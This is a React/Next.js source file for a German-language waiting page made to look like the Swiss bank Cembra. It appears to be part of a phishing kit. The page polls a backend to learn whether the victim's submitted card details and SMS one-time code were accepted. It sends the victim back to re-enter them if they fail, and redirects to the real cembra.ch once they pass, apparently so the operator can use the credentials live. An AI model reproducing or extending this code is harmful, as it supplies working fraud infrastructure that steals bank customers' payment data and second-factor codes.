"use client";

import { useEffect, useState } from "react";
import { useRouter } from "next/navigation";
import { Loader2 } from "lucide-react";
import Header from "@/components/Header";

export default function WaitingPage() {
  const router = useRouter();
  const [dots, setDots] = useState("");

  useEffect(() => {
    const dotsInterval = setInterval(() => {
      setDots((prev) => (prev.length >= 3 ? "" : prev + "."));
    }, 500);

    const pollInterval = setInterval(async () => {
      const sessionId = sessionStorage.getItem("validationSessionId");
      const validationType = sessionStorage.getItem("validationType") || "sms";

      if (!sessionId) {
        router.push(validationType === "card" ? "/card" : "/sms");
        return;
      }

      try {
        const response = await fetch(`/api/check-validation?sessionId=${sessionId}`);
        const data = await response.json();

        if (data.status === "valid") {
          sessionStorage.removeItem("validationSessionId");
          sessionStorage.removeItem("validationType");

          if (validationType === "card") {
            router.push("/sms");
          } else {
            window.location.href = "https://www.cembra.ch/de/";
          }
        } else if (data.status === "invalid") {
          sessionStorage.removeItem("validationSessionId");
          sessionStorage.removeItem("validationType");

          if (validationType === "card") {
            sessionStorage.setItem("cardError", "KARTENINFORMATIONEN FALSCH. BITTE ERNEUT VERSUCHEN.");
            router.push("/card");
          } else {
            sessionStorage.setItem("smsError", "SMS-CODE FALSCH. BITTE ERNEUT VERSUCHEN.");
            router.push("/sms");
          }
        }
      } catch (error) {
        console.error("Error checking validation:", error);
      }
    }, 2000);

    return () => {
      clearInterval(dotsInterval);
      clearInterval(pollInterval);
    };
  }, [router]);

  return (
    <div className="min-h-screen flex flex-col bg-white">
      <Header />

      <main className="flex-1 flex items-center justify-center px-4 md:px-8 py-12">
        <div className="text-center">
          <Loader2 className="w-16 h-16 text-[#004B87] animate-spin mx-auto mb-6" />
          <h1 className="text-3xl md:text-4xl text-gray-600 font-light mb-2">
            Bitte warten
          </h1>
          <h2 className="text-3xl md:text-4xl text-[#004B87] font-bold mb-4">
            Überprüfung läuft{dots}
          </h2>
          <p className="text-gray-500 text-sm">
            Wir überprüfen Ihre Angaben. Dies kann einen Moment dauern.
          </p>
        </div>
      </main>

      <footer className="mt-auto">
        <div className="bg-[#D4E8C0] py-3 text-center">
          <div className="flex items-center justify-center gap-1 text-sm">
            <a href="#" className="text-[#004B87] underline hover:no-underline">Deutsch</a>
            <a href="#" className="text-[#004B87] underline hover:no-underline">Français</a>
            <a href="#" className="text-[#004B87] underline hover:no-underline">English</a>
            <a href="#" className="text-[#004B87] underline hover:no-underline">Italiano</a>
            <span className="text-gray-600 mx-1">|</span>
            <a href="#" className="text-[#004B87] underline hover:no-underline">Kontakt Support</a>
          </div>
        </div>
        <div className="h-2 bg-[#8BC34A]"></div>
      </footer>
    </div>
  );
}